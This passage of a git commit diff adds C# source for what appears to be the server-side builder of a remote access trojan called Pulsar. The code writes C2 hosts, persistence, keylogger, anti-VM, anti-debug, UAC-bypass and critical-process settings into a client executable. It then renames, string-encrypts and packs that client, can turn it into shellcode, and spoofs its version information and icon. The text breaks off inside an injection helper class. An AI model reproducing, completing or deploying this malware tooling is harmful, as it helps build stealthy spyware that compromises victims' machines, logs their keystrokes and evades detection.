initial commit
This commit is contained in:
Vendored
BIN
Binary file not shown.
@@ -0,0 +1,323 @@
|
||||
using Mono.Cecil;
|
||||
using Mono.Cecil.Cil;
|
||||
using Pulsar.Common.Cryptography;
|
||||
using Pulsar.Server.Models;
|
||||
using Pulsar.Server.Helper;
|
||||
using System;
|
||||
using System.Security.Cryptography;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Text;
|
||||
using Vestris.ResourceLib;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Windows;
|
||||
|
||||
namespace Pulsar.Server.Build
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides methods used to create a custom client executable.
|
||||
/// </summary>
|
||||
public class ClientBuilder
|
||||
{
|
||||
private readonly BuildOptions _options;
|
||||
private readonly string _clientFilePath;
|
||||
|
||||
public ClientBuilder(BuildOptions options, string clientFilePath)
|
||||
{
|
||||
_options = options;
|
||||
_clientFilePath = clientFilePath;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Builds a client executable.
|
||||
/// </summary>
|
||||
public bool Build(bool obfuscateBuild, bool packBuild)
|
||||
{
|
||||
using (AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly(_clientFilePath))
|
||||
{
|
||||
// PHASE 1 - Writing settings
|
||||
WriteSettings(asmDef);
|
||||
|
||||
// PHASE 2 - Obfuscation
|
||||
|
||||
Renamer r = new Renamer(asmDef);
|
||||
|
||||
if (!r.Perform())
|
||||
throw new Exception("renaming failed");
|
||||
|
||||
MemoryStream stream = new MemoryStream();
|
||||
asmDef.Write(stream);
|
||||
stream.Position = 0;
|
||||
asmDef.Dispose();
|
||||
|
||||
byte[] buffer = stream.ToArray();
|
||||
|
||||
if (obfuscateBuild)
|
||||
{
|
||||
Obfuscator.Obfuscator obf = new Obfuscator.Obfuscator(buffer);
|
||||
obf.Obfuscate();
|
||||
buffer = obf.Save();
|
||||
}
|
||||
if (packBuild)
|
||||
{
|
||||
TinyLoader.TinyLoader tinyLoader = new TinyLoader.TinyLoader(buffer);
|
||||
tinyLoader.Pack();
|
||||
buffer = tinyLoader.Save();
|
||||
}
|
||||
|
||||
|
||||
//check if _options.OutputPath is in the same directory as our server executable
|
||||
string outputDirectory = Path.GetDirectoryName(Path.GetFullPath(_options.OutputPath));
|
||||
string serverDirectory = Path.GetDirectoryName(Path.GetFullPath(System.Reflection.Assembly.GetExecutingAssembly().Location));
|
||||
if (outputDirectory.Equals(serverDirectory, StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
MessageBox.Show("The output path cannot be in the same directory as the server executable. Please choose a different output path.", "Error", MessageBoxButton.OK, MessageBoxImage.Error);
|
||||
return true;
|
||||
}
|
||||
|
||||
File.WriteAllBytes(_options.OutputPath, buffer);
|
||||
|
||||
}
|
||||
|
||||
// PHASE 4 - Assembly Information changing
|
||||
if (_options.AssemblyInformation != null)
|
||||
{
|
||||
VersionResource versionResource = new VersionResource();
|
||||
versionResource.LoadFrom(_options.OutputPath);
|
||||
|
||||
versionResource.FileVersion = _options.AssemblyInformation[7];
|
||||
versionResource.ProductVersion = _options.AssemblyInformation[6];
|
||||
versionResource.Language = 0;
|
||||
|
||||
StringFileInfo stringFileInfo = (StringFileInfo)versionResource["StringFileInfo"];
|
||||
stringFileInfo["CompanyName"] = _options.AssemblyInformation[2];
|
||||
stringFileInfo["FileDescription"] = _options.AssemblyInformation[1];
|
||||
stringFileInfo["ProductName"] = _options.AssemblyInformation[0];
|
||||
stringFileInfo["LegalCopyright"] = _options.AssemblyInformation[3];
|
||||
stringFileInfo["LegalTrademarks"] = _options.AssemblyInformation[4];
|
||||
stringFileInfo["ProductVersion"] = versionResource.ProductVersion;
|
||||
stringFileInfo["FileVersion"] = versionResource.FileVersion;
|
||||
stringFileInfo["Assembly Version"] = versionResource.ProductVersion;
|
||||
stringFileInfo["InternalName"] = _options.AssemblyInformation[5];
|
||||
stringFileInfo["OriginalFilename"] = _options.AssemblyInformation[5];
|
||||
|
||||
versionResource.SaveTo(_options.OutputPath);
|
||||
}
|
||||
|
||||
// PHASE 5 - Icon changing
|
||||
if (!string.IsNullOrEmpty(_options.IconPath))
|
||||
{
|
||||
IconFile iconFile = new IconFile(_options.IconPath);
|
||||
IconDirectoryResource iconDirectoryResource = new IconDirectoryResource(iconFile);
|
||||
iconDirectoryResource.SaveTo(_options.OutputPath);
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
public void BuildShellcode(bool obfuscateBuild, bool packBuild)
|
||||
{
|
||||
if (!File.Exists(Path.Combine(Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAssembly().Location), "donut.exe")))
|
||||
throw new Exception("Donut not found! Shellcode conversion not possible. Try building with donut");
|
||||
using (AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly(_clientFilePath))
|
||||
{
|
||||
// PHASE 1 - Writing Settings (WARNING: WE NEED TO REMOVE STARTUP AND OTHER DROPPER SETTINGS)
|
||||
WriteSettings(asmDef);
|
||||
|
||||
// PHASE 2 - Obfuscation
|
||||
|
||||
Renamer r = new Renamer(asmDef);
|
||||
|
||||
if (!r.Perform())
|
||||
throw new Exception("renaming failed");
|
||||
|
||||
MemoryStream stream = new MemoryStream();
|
||||
asmDef.Write(stream);
|
||||
stream.Position = 0;
|
||||
asmDef.Dispose();
|
||||
|
||||
byte[] buffer = stream.ToArray();
|
||||
|
||||
if (obfuscateBuild)
|
||||
{
|
||||
Obfuscator.Obfuscator obf = new Obfuscator.Obfuscator(buffer);
|
||||
obf.Obfuscate();
|
||||
buffer = obf.Save();
|
||||
}
|
||||
if (packBuild)
|
||||
{
|
||||
TinyLoader.TinyLoader tinyLoader = new TinyLoader.TinyLoader(buffer);
|
||||
tinyLoader.Pack();
|
||||
buffer = tinyLoader.Save();
|
||||
}
|
||||
File.WriteAllBytes(_options.OutputPath + ".exe", buffer);
|
||||
}
|
||||
// PHASE 3 - Shellcode
|
||||
ShellcodeBuilder.GenerateShellcode(
|
||||
_options.OutputPath + ".exe",
|
||||
"Pulsar.Client.Program",
|
||||
"Main",
|
||||
_options.OutputPath,
|
||||
false
|
||||
);
|
||||
File.Delete(_options.OutputPath + ".exe");
|
||||
}
|
||||
|
||||
private void WriteSettings(AssemblyDefinition asmDef)
|
||||
{
|
||||
var caCertificate = new X509Certificate2(Settings.CertificatePath, "", X509KeyStorageFlags.Exportable);
|
||||
var serverCertificate = new X509Certificate2(caCertificate.Export(X509ContentType.Cert)); // export without private key, very important!
|
||||
|
||||
var key = serverCertificate.Thumbprint;
|
||||
var aes = new Aes256(key);
|
||||
|
||||
byte[] signature;
|
||||
// https://stackoverflow.com/a/49777672 RSACryptoServiceProvider must be changed with .NET 4.6
|
||||
using (var csp = caCertificate.GetRSAPrivateKey())
|
||||
{
|
||||
var hash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(key));
|
||||
signature = csp.SignHash(hash, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
|
||||
}
|
||||
|
||||
foreach (var typeDef in asmDef.Modules[0].Types)
|
||||
{
|
||||
if (typeDef.FullName == "Pulsar.Client.Config.Settings")
|
||||
{
|
||||
foreach (var methodDef in typeDef.Methods)
|
||||
{
|
||||
if (methodDef.Name == ".cctor")
|
||||
{
|
||||
int strings = 1, bools = 1;
|
||||
|
||||
for (int i = 0; i < methodDef.Body.Instructions.Count; i++)
|
||||
{
|
||||
if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldstr) // string
|
||||
{
|
||||
switch (strings)
|
||||
{
|
||||
case 1: //version
|
||||
methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Version);
|
||||
break;
|
||||
case 2: //ip/hostname
|
||||
Debug.WriteLine(_options.RawHosts);
|
||||
methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.RawHosts);
|
||||
break;
|
||||
case 3: //installsub
|
||||
methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.InstallSub);
|
||||
break;
|
||||
case 4: //installname
|
||||
methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.InstallName);
|
||||
break;
|
||||
case 5: //mutex
|
||||
methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Mutex);
|
||||
break;
|
||||
case 6: //startupkey
|
||||
methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.StartupName);
|
||||
break;
|
||||
case 7: //encryption key
|
||||
methodDef.Body.Instructions[i].Operand = key;
|
||||
break;
|
||||
case 8: //tag
|
||||
methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Tag);
|
||||
break;
|
||||
case 9: //LogDirectoryName
|
||||
methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.LogDirectoryName);
|
||||
break;
|
||||
case 10: //ServerSignature
|
||||
methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(signature));
|
||||
break;
|
||||
case 11: //ServerCertificate
|
||||
methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert)));
|
||||
break;
|
||||
}
|
||||
strings++;
|
||||
}
|
||||
else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_1 ||
|
||||
methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_0) // bool
|
||||
{
|
||||
switch (bools)
|
||||
{
|
||||
case 1: //install
|
||||
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Install));
|
||||
break;
|
||||
case 2: //startup
|
||||
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Startup));
|
||||
break;
|
||||
case 3: //hidefile
|
||||
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideFile));
|
||||
break;
|
||||
case 4: //Keylogger
|
||||
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Keylogger));
|
||||
break;
|
||||
case 5: //HideLogDirectory
|
||||
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideLogDirectory));
|
||||
break;
|
||||
case 6: // HideInstallSubdirectory
|
||||
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideInstallSubdirectory));
|
||||
break;
|
||||
case 7: // AntiVM
|
||||
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.AntiVM));
|
||||
break;
|
||||
case 8: // AntiDebug
|
||||
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.AntiDebug));
|
||||
break;
|
||||
case 9: // Pastebin
|
||||
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Pastebin));
|
||||
break;
|
||||
case 10: // UACBypass
|
||||
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.UACBypass));
|
||||
break;
|
||||
case 11: // CRITICALPROCESS
|
||||
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.CRITICALPROCESS));
|
||||
break;
|
||||
}
|
||||
bools++;
|
||||
}
|
||||
else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4) // int
|
||||
{
|
||||
//reconnectdelay
|
||||
methodDef.Body.Instructions[i].Operand = _options.Delay;
|
||||
}
|
||||
else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_S) // sbyte
|
||||
{
|
||||
methodDef.Body.Instructions[i].Operand = GetSpecialFolder(_options.InstallPath);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Obtains the OpCode that corresponds to the bool value provided.
|
||||
/// </summary>
|
||||
/// <param name="p">The value to convert to the OpCode</param>
|
||||
/// <returns>Returns the OpCode that represents the value provided.</returns>
|
||||
private OpCode BoolOpCode(bool p)
|
||||
{
|
||||
return (p) ? OpCodes.Ldc_I4_1 : OpCodes.Ldc_I4_0;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to obtain the signed-byte value of a special folder from the install path value provided.
|
||||
/// </summary>
|
||||
/// <param name="installPath">The integer value of the install path.</param>
|
||||
/// <returns>Returns the signed-byte value of the special folder.</returns>
|
||||
/// <exception cref="ArgumentException">Thrown if the path to the special folder was invalid.</exception>
|
||||
private sbyte GetSpecialFolder(int installPath)
|
||||
{
|
||||
switch (installPath)
|
||||
{
|
||||
case 1:
|
||||
return (sbyte)Environment.SpecialFolder.ApplicationData;
|
||||
case 2:
|
||||
return (sbyte)Environment.SpecialFolder.ProgramFiles;
|
||||
case 3:
|
||||
return (sbyte)Environment.SpecialFolder.System;
|
||||
default:
|
||||
throw new ArgumentException("InstallPath");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
BIN
Binary file not shown.
@@ -0,0 +1,70 @@
|
||||
using dnlib.DotNet;
|
||||
using Pulsar.Server.Build.Obfuscator.Transformers;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Net;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace Pulsar.Server.Build.Obfuscator
|
||||
{
|
||||
public class Obfuscator
|
||||
{
|
||||
private ModuleContext moduleContext;
|
||||
private ModuleDefMD module;
|
||||
|
||||
public Obfuscator(string path)
|
||||
{
|
||||
moduleContext = ModuleDef.CreateModuleContext();
|
||||
module = ModuleDefMD.Load(path, moduleContext);
|
||||
}
|
||||
|
||||
public Obfuscator(byte[] data)
|
||||
{
|
||||
moduleContext = ModuleDef.CreateModuleContext();
|
||||
module = ModuleDefMD.Load(data, moduleContext);
|
||||
}
|
||||
|
||||
public void Save(string path)
|
||||
{
|
||||
module.Write(path);
|
||||
}
|
||||
|
||||
public byte[] Save()
|
||||
{
|
||||
MemoryStream stream = new MemoryStream();
|
||||
module.Write(stream);
|
||||
|
||||
long size = stream.Position;
|
||||
stream.Position = 0;
|
||||
byte[] data = new byte[size];
|
||||
stream.Read(data, 0, (int)size);
|
||||
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
public ModuleDefMD Module
|
||||
{
|
||||
get { return module; }
|
||||
}
|
||||
|
||||
public void Obfuscate()
|
||||
{
|
||||
Debug.WriteLine("Obfuscating....");
|
||||
List<ITransformer> transformers = new List<ITransformer>()
|
||||
{
|
||||
new RenamerTransformer(),
|
||||
new StringEncryptionTransformer()
|
||||
};
|
||||
|
||||
foreach (ITransformer transformer in transformers)
|
||||
{
|
||||
transformer.Transform(this);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace Pulsar.Server.Build.Obfuscator.Transformers
|
||||
{
|
||||
public class ITransformer
|
||||
{
|
||||
|
||||
protected static readonly Random random = new Random();
|
||||
|
||||
public virtual void Transform(Obfuscator obf) { }
|
||||
|
||||
protected string RandomString(int length)
|
||||
{
|
||||
const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
|
||||
return new string(Enumerable.Repeat(chars, length)
|
||||
.Select(s => s[random.Next(s.Length)]).ToArray());
|
||||
}
|
||||
|
||||
protected string RandomUTFString(int length)
|
||||
{
|
||||
// make weird utf strings like \u0x200 etc
|
||||
return new string(Enumerable.Repeat(1, length)
|
||||
.Select(s => (char)random.Next(0, 0xFFFF)).ToArray());
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,72 @@
|
||||
using dnlib.DotNet;
|
||||
using dnlib.DotNet.Emit;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace Pulsar.Server.Build.Obfuscator.Transformers
|
||||
{
|
||||
public class RenamerTransformer : ITransformer
|
||||
{
|
||||
|
||||
public override void Transform(Obfuscator obf)
|
||||
{
|
||||
//TODO: rewrite this and use this transformer instead of the Build/Renamer one
|
||||
|
||||
//ModuleDefMD module = obf.Module;
|
||||
|
||||
|
||||
//module.Name = RandomString(10);
|
||||
//module.Assembly.Name = RandomString(10);
|
||||
//module.Assembly.Culture = RandomString(10);
|
||||
//module.Assembly.Version = new Version(random.Next(0, 10), random.Next(0, 10), random.Next(0, 10), random.Next(0, 10));
|
||||
|
||||
//foreach (TypeDef type in module.GetTypes())
|
||||
//{
|
||||
// if (type.IsRuntimeSpecialName) continue;
|
||||
// if (type.IsSpecialName) continue;
|
||||
// if (type.IsGlobalModuleType) continue;
|
||||
// if (type.IsWindowsRuntime) continue;
|
||||
// if (type.IsInterface) continue;
|
||||
|
||||
// type.Namespace = "";
|
||||
// type.Name = RandomUTFString(10);
|
||||
|
||||
// foreach (PropertyDef property in type.Properties)
|
||||
// {
|
||||
// property.Name = RandomUTFString(10);
|
||||
// }
|
||||
|
||||
// foreach (FieldDef field in type.Fields)
|
||||
// {
|
||||
// field.Name = RandomUTFString(10);
|
||||
// }
|
||||
|
||||
// foreach (EventDef eventDef in type.Events) {
|
||||
// eventDef.Name = RandomUTFString(10);
|
||||
// }
|
||||
|
||||
// foreach (MethodDef method in type.Methods)
|
||||
// {
|
||||
|
||||
// if(!method.HasBody) continue;
|
||||
|
||||
// foreach (ParamDef param in method.ParamDefs)
|
||||
// {
|
||||
// param.Name = RandomUTFString(10);
|
||||
// }
|
||||
|
||||
// foreach (Local local in method.Body.Variables)
|
||||
// {
|
||||
// local.Name = RandomUTFString(10);
|
||||
// }
|
||||
|
||||
// }
|
||||
|
||||
//}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,87 @@
|
||||
using dnlib.DotNet;
|
||||
using dnlib.DotNet.Emit;
|
||||
using Pulsar.Server.Build.Obfuscator.Utils;
|
||||
using Pulsar.Server.Build.Obfuscator.Utils.Injection;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Reflection;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Pulsar.Server.Build.Obfuscator.Transformers
|
||||
{
|
||||
public class StringEncryptionTransformer : ITransformer
|
||||
{
|
||||
|
||||
|
||||
public MethodDef InjectDecryptionMethod(ModuleDefMD module)
|
||||
{
|
||||
// create our type holding our string decryption method
|
||||
TypeDef stringType = new TypeDefUser("", RandomUTFString(10), module.CorLibTypes.Object.TypeDefOrRef);
|
||||
module.Types.Add(stringType);
|
||||
|
||||
// inject the methods we want to it
|
||||
|
||||
ModuleDefMD typeModule = ModuleDefMD.Load(typeof(StringEncryption).Module);
|
||||
TypeDef typeDef = typeModule.ResolveTypeDef(MDToken.ToRID(typeof(StringEncryption).MetadataToken));
|
||||
IEnumerable<IDnlibDef> members = InjectHelper.Inject(typeDef, stringType, module);
|
||||
MethodDef decryptMethod = (MethodDef)members.Single(method => method.Name == "Decrypt");
|
||||
decryptMethod.Name = RandomUTFString(10);
|
||||
|
||||
|
||||
// remove the Encrypt method
|
||||
stringType.Methods.Remove(stringType.Methods.Single(method => method.Name == "Encrypt"));
|
||||
|
||||
return decryptMethod;
|
||||
}
|
||||
|
||||
public override void Transform(Obfuscator obf)
|
||||
{
|
||||
// Inject the Decrypt method into the type
|
||||
MethodDef decryptMethod = InjectDecryptionMethod(obf.Module);
|
||||
|
||||
foreach (TypeDef type in obf.Module.GetTypes())
|
||||
{
|
||||
|
||||
if (type.FullName.StartsWith("NAudio")) continue;
|
||||
|
||||
foreach (MethodDef method in type.Methods)
|
||||
{
|
||||
if (!method.HasBody) continue;
|
||||
method.Body.SimplifyBranches();
|
||||
|
||||
|
||||
for (int i = 0; i < method.Body.Instructions.Count; i++)
|
||||
{
|
||||
if (method.Body.Instructions[i].OpCode == OpCodes.Ldstr)
|
||||
{
|
||||
object op = method.Body.Instructions[i].Operand;
|
||||
if (op is string)
|
||||
{
|
||||
AesManaged aes = new AesManaged();
|
||||
string key = Convert.ToBase64String(aes.Key);
|
||||
string iv = Convert.ToBase64String(aes.IV);
|
||||
|
||||
string encrypted = StringEncryption.Encrypt((string)op, aes.Key, aes.IV);
|
||||
|
||||
// Call to decrypt(value, key, iv);
|
||||
method.Body.Instructions[i].Operand = encrypted;
|
||||
method.Body.Instructions.Insert(i + 1, OpCodes.Ldstr.ToInstruction(key));
|
||||
method.Body.Instructions.Insert(i + 2, OpCodes.Ldstr.ToInstruction(iv));
|
||||
method.Body.Instructions.Insert(i + 3, OpCodes.Call.ToInstruction(decryptMethod));
|
||||
|
||||
|
||||
|
||||
i += 3; // skip the added instructions
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,356 @@
|
||||
using dnlib.DotNet.Emit;
|
||||
using dnlib.DotNet;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
///
|
||||
/// To be honest, I don't even know where I got this class from. Just know it's cool :catThumbsUp: - body
|
||||
///
|
||||
|
||||
namespace Pulsar.Server.Build.Obfuscator.Utils
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides methods to inject a <see cref="TypeDef" /> into another module.
|
||||
/// </summary>
|
||||
public static class InjectHelper
|
||||
{
|
||||
/// <summary>
|
||||
/// Clones the specified origin TypeDef.
|
||||
/// </summary>
|
||||
/// <param name="origin">The origin TypeDef.</param>
|
||||
/// <returns>The cloned TypeDef.</returns>
|
||||
static TypeDefUser Clone(TypeDef origin)
|
||||
{
|
||||
var ret = new TypeDefUser(origin.Namespace, origin.Name);
|
||||
ret.Attributes = origin.Attributes;
|
||||
|
||||
if (origin.ClassLayout != null)
|
||||
ret.ClassLayout = new ClassLayoutUser(origin.ClassLayout.PackingSize, origin.ClassSize);
|
||||
|
||||
foreach (GenericParam genericParam in origin.GenericParameters)
|
||||
ret.GenericParameters.Add(new GenericParamUser(genericParam.Number, genericParam.Flags, "-"));
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Clones the specified origin MethodDef.
|
||||
/// </summary>
|
||||
/// <param name="origin">The origin MethodDef.</param>
|
||||
/// <returns>The cloned MethodDef.</returns>
|
||||
static MethodDefUser Clone(MethodDef origin)
|
||||
{
|
||||
var ret = new MethodDefUser(origin.Name, null, origin.ImplAttributes, origin.Attributes);
|
||||
|
||||
foreach (GenericParam genericParam in origin.GenericParameters)
|
||||
ret.GenericParameters.Add(new GenericParamUser(genericParam.Number, genericParam.Flags, "-"));
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Clones the specified origin FieldDef.
|
||||
/// </summary>
|
||||
/// <param name="origin">The origin FieldDef.</param>
|
||||
/// <returns>The cloned FieldDef.</returns>
|
||||
static FieldDefUser Clone(FieldDef origin)
|
||||
{
|
||||
var ret = new FieldDefUser(origin.Name, null, origin.Attributes);
|
||||
return ret;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Populates the context mappings.
|
||||
/// </summary>
|
||||
/// <param name="typeDef">The origin TypeDef.</param>
|
||||
/// <param name="ctx">The injection context.</param>
|
||||
/// <returns>The new TypeDef.</returns>
|
||||
static TypeDef PopulateContext(TypeDef typeDef, InjectContext ctx)
|
||||
{
|
||||
var ret = ctx.Map(typeDef)?.ResolveTypeDef();
|
||||
if (ret is null)
|
||||
{
|
||||
ret = Clone(typeDef);
|
||||
ctx.DefMap[typeDef] = ret;
|
||||
}
|
||||
|
||||
foreach (TypeDef nestedType in typeDef.NestedTypes)
|
||||
ret.NestedTypes.Add(PopulateContext(nestedType, ctx));
|
||||
|
||||
foreach (MethodDef method in typeDef.Methods)
|
||||
ret.Methods.Add((MethodDef)(ctx.DefMap[method] = Clone(method)));
|
||||
|
||||
foreach (FieldDef field in typeDef.Fields)
|
||||
ret.Fields.Add((FieldDef)(ctx.DefMap[field] = Clone(field)));
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Copies the information from the origin type to injected type.
|
||||
/// </summary>
|
||||
/// <param name="typeDef">The origin TypeDef.</param>
|
||||
/// <param name="ctx">The injection context.</param>
|
||||
static void CopyTypeDef(TypeDef typeDef, InjectContext ctx)
|
||||
{
|
||||
var newTypeDef = ctx.Map(typeDef)?.ResolveTypeDefThrow();
|
||||
newTypeDef.BaseType = ctx.Importer.Import(typeDef.BaseType);
|
||||
|
||||
foreach (InterfaceImpl iface in typeDef.Interfaces)
|
||||
newTypeDef.Interfaces.Add(new InterfaceImplUser(ctx.Importer.Import(iface.Interface)));
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Copies the information from the origin method to injected method.
|
||||
/// </summary>
|
||||
/// <param name="methodDef">The origin MethodDef.</param>
|
||||
/// <param name="ctx">The injection context.</param>
|
||||
static void CopyMethodDef(MethodDef methodDef, InjectContext ctx)
|
||||
{
|
||||
var newMethodDef = ctx.Map(methodDef)?.ResolveMethodDefThrow();
|
||||
|
||||
newMethodDef.Signature = ctx.Importer.Import(methodDef.Signature);
|
||||
newMethodDef.Parameters.UpdateParameterTypes();
|
||||
|
||||
foreach (var paramDef in methodDef.ParamDefs)
|
||||
newMethodDef.ParamDefs.Add(new ParamDefUser(paramDef.Name, paramDef.Sequence, paramDef.Attributes));
|
||||
|
||||
if (methodDef.ImplMap != null)
|
||||
newMethodDef.ImplMap = new ImplMapUser(new ModuleRefUser(ctx.TargetModule, methodDef.ImplMap.Module.Name), methodDef.ImplMap.Name, methodDef.ImplMap.Attributes);
|
||||
|
||||
foreach (CustomAttribute ca in methodDef.CustomAttributes)
|
||||
newMethodDef.CustomAttributes.Add(new CustomAttribute((ICustomAttributeType)ctx.Importer.Import(ca.Constructor)));
|
||||
|
||||
if (methodDef.HasBody)
|
||||
CopyMethodBody(methodDef, ctx, newMethodDef);
|
||||
}
|
||||
|
||||
static void CopyMethodBody(MethodDef methodDef, InjectContext ctx, MethodDef newMethodDef)
|
||||
{
|
||||
newMethodDef.Body = new CilBody(methodDef.Body.InitLocals, new List<Instruction>(),
|
||||
new List<ExceptionHandler>(), new List<Local>())
|
||||
{ MaxStack = methodDef.Body.MaxStack };
|
||||
|
||||
var bodyMap = new Dictionary<object, object>();
|
||||
|
||||
foreach (Local local in methodDef.Body.Variables)
|
||||
{
|
||||
var newLocal = new Local(ctx.Importer.Import(local.Type));
|
||||
newMethodDef.Body.Variables.Add(newLocal);
|
||||
newLocal.Name = local.Name;
|
||||
|
||||
bodyMap[local] = newLocal;
|
||||
}
|
||||
|
||||
foreach (Instruction instr in methodDef.Body.Instructions)
|
||||
{
|
||||
var newInstr = new Instruction(instr.OpCode, instr.Operand)
|
||||
{
|
||||
SequencePoint = instr.SequencePoint
|
||||
};
|
||||
|
||||
switch (newInstr.Operand)
|
||||
{
|
||||
case IType type:
|
||||
newInstr.Operand = ctx.Importer.Import(type);
|
||||
break;
|
||||
case IMethod method:
|
||||
newInstr.Operand = ctx.Importer.Import(method);
|
||||
break;
|
||||
case IField field:
|
||||
newInstr.Operand = ctx.Importer.Import(field);
|
||||
break;
|
||||
}
|
||||
|
||||
newMethodDef.Body.Instructions.Add(newInstr);
|
||||
bodyMap[instr] = newInstr;
|
||||
}
|
||||
|
||||
foreach (Instruction instr in newMethodDef.Body.Instructions)
|
||||
{
|
||||
if (instr.Operand != null && bodyMap.ContainsKey(instr.Operand))
|
||||
instr.Operand = bodyMap[instr.Operand];
|
||||
else if (instr.Operand is Instruction[] instructions)
|
||||
instr.Operand = instructions.Select(target => (Instruction)bodyMap[target]).ToArray();
|
||||
}
|
||||
|
||||
foreach (ExceptionHandler eh in methodDef.Body.ExceptionHandlers)
|
||||
newMethodDef.Body.ExceptionHandlers.Add(new ExceptionHandler(eh.HandlerType)
|
||||
{
|
||||
CatchType = eh.CatchType == null ? null : ctx.Importer.Import(eh.CatchType),
|
||||
TryStart = (Instruction)bodyMap[eh.TryStart],
|
||||
TryEnd = (Instruction)bodyMap[eh.TryEnd],
|
||||
HandlerStart = (Instruction)bodyMap[eh.HandlerStart],
|
||||
HandlerEnd = (Instruction)bodyMap[eh.HandlerEnd],
|
||||
FilterStart = eh.FilterStart == null ? null : (Instruction)bodyMap[eh.FilterStart]
|
||||
});
|
||||
|
||||
newMethodDef.Body.SimplifyMacros(newMethodDef.Parameters);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Copies the information from the origin field to injected field.
|
||||
/// </summary>
|
||||
/// <param name="fieldDef">The origin FieldDef.</param>
|
||||
/// <param name="ctx">The injection context.</param>
|
||||
static void CopyFieldDef(FieldDef fieldDef, InjectContext ctx)
|
||||
{
|
||||
var newFieldDef = ctx.Map(fieldDef).ResolveFieldDefThrow();
|
||||
|
||||
newFieldDef.Signature = ctx.Importer.Import(fieldDef.Signature);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Copies the information to the injected definitions.
|
||||
/// </summary>
|
||||
/// <param name="typeDef">The origin TypeDef.</param>
|
||||
/// <param name="ctx">The injection context.</param>
|
||||
/// <param name="copySelf">if set to <c>true</c>, copy information of <paramref name="typeDef" />.</param>
|
||||
static void Copy(TypeDef typeDef, InjectContext ctx, bool copySelf)
|
||||
{
|
||||
if (copySelf)
|
||||
CopyTypeDef(typeDef, ctx);
|
||||
|
||||
foreach (TypeDef nestedType in typeDef.NestedTypes)
|
||||
Copy(nestedType, ctx, true);
|
||||
|
||||
foreach (MethodDef method in typeDef.Methods)
|
||||
CopyMethodDef(method, ctx);
|
||||
|
||||
